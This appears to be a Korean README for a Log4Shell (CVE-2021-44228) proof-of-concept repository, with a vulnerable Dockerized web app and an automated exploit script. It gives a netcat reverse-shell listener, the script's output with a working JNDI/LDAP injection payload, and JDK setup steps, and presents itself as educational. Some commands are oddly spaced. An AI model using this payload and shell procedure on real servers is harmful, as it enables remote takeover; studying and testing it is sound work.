최근 발견된 CVE-2021-44228 취약점에 대한 개념 증명입니다.
최근 Elasticsearch, Minecraft 및 기타 여러 분야에서 널리 사용되는 Java 로깅 라이브러리인 log4j에 새로운 취약점이 발견되었습니다.
이 저장소에는 취약한 애플리케이션과 이에 대한 개념 증명(POC) 익스플로잇 예시가 있습니다.
PoC로서 프로세스를 자동화하는 Python 파일이 있습니다.
pip install -r requirements.txt
nc - lvnp 9001
jdk1.8.0_20
이어야 하고 동일한 디렉터리에 있어야 합니다. $ python3 poc . py - - userip localhost - - webport 8000 - - lport 9001
[!] CVE : CVE - 2021 - 44228
[!] Github repo : https : // github . com / kozmer / log4j - shell - poc
[ + ] Exploit java class created success
[ + ] Setting up fake LDAP server
[ + ] Send me : ${ jndi : ldap : // localhost : 1389 / a }
Listening on 0.0 . 0.0 : 1389
이 스크립트는 HTTP 서버와 LDAP 서버를 설정하고 취약한 매개변수에 붙여넣는 데 사용할 수 있는 페이로드도 생성합니다. 그 후 모든 것이 잘 되었다면 lport에 쉘이 있어야 합니다.
취약한 웹앱이 포함된 Dockerfile이 있습니다. 아래 단계에 따라 이를 사용할 수 있습니다.
1 : docker build - t log4j - shell - poc .
2 : docker run -- network host log4j - shell - poc
실행되면 localhost:8080에서 액세스할 수 있습니다.
Oracle은 고맙게도 모든 이전 Java 버전에 대한 아카이브를 제공합니다.
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
8u20
까지 아래로 스크롤하여 운영 체제 및 하드웨어에 적합한 파일을 다운로드합니다.
참고: 패키지를 다운로드하려면 계정을 만들어야 합니다.
아카이브를 다운로드하고 추출하면 jdk1.8.0_20/bin
에서 java
및 몇 가지 관련 바이너리를 찾을 수 있습니다.
참고: 작동하려면 jdk 폴더를 동일한 이름으로 이 저장소에 추출해야 합니다.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
이 저장소는 CVE-2021-44228에 대한 원클릭 악용을 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고 자신의 애플리케이션을 테스트하도록 돕는 것입니다(단, 이 목적을 위한 더 나은 애플리케이션이 있습니다. https://log4shell.tools/).